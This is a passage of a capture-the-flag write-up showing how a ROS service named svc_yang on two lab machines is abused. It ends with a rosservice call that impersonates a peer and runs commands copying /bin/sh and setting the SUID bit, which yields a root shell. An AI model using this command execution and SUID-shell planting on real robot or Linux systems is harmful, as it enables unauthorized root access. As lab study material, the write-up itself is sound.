After running `roscore` on yang, forwarding the port of the master on yin via `ssh -L 11311:localhost:11311 yang@yang_ip`, and executing each `sudo /catkin_ws/yin.sh` and `sudo /catkin_ws/yang.sh` on the respecting machine, we have the following services available:

&#x20;Among them is the `svc_yang`, which allows us to execute commands.

```
rosservce list
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3igEYeeSnFc8dpOuW54Q%2Fgrafik.png?alt=media&#x26;token=fd7a4bbb-d0c2-4afb-bc3c-5dc087ef8abc" alt=""><figcaption></figcaption></figure>

We inspect the `svc_yang` service to see what parameters are required.

```
rosservice info svc_yang
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMIplzykyNtT3Myu8eev9%2Fgrafik.png?alt=media&#x26;token=e6c5f856-4088-45a2-9e00-d849709fda02" alt=""><figcaption></figcaption></figure>

How the arguments have to be supplied can be seen here:

{% embed url="<https://wiki.ros.org/rosservice#rosservice_call>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8ARQ1F0wc5vC69982yAw%2Fgrafik.png?alt=media&#x26;token=25768ef2-9ca8-48d2-b7d4-ba4e1179873f" alt=""><figcaption></figcaption></figure>

{% embed url="<https://wiki.ros.org/ROS/YAMLCommandLine>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4zYcsW0D00oojZwQ1ovX%2Fgrafik.png?alt=media&#x26;token=21ff4622-e3d6-4fcc-b44b-bf29ea597076" alt=""><figcaption></figcaption></figure>

On yin we can now make a service call impersonating yang, that creates us an SUID bit binary sh, with that we can get a root shell and find the yin flag in `/root/yin.txt`.

{% code overflow="wrap" %}

```
rosservice call /svc_yang "{'secret': 'REDACTED', 'command': 'cp /bin/sh /home/yin/sh; chmod u+s /home/yin/sh', 'sender': 'Yang', 'receiver': 'Yin'}"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkC89fyEar6QgKnZ73zX2%2Fgrafik.png?alt=media&#x26;token=a6211cef-473f-4088-a9c1-a0671d885b3f" alt=""><figcaption></figcaption></figure>
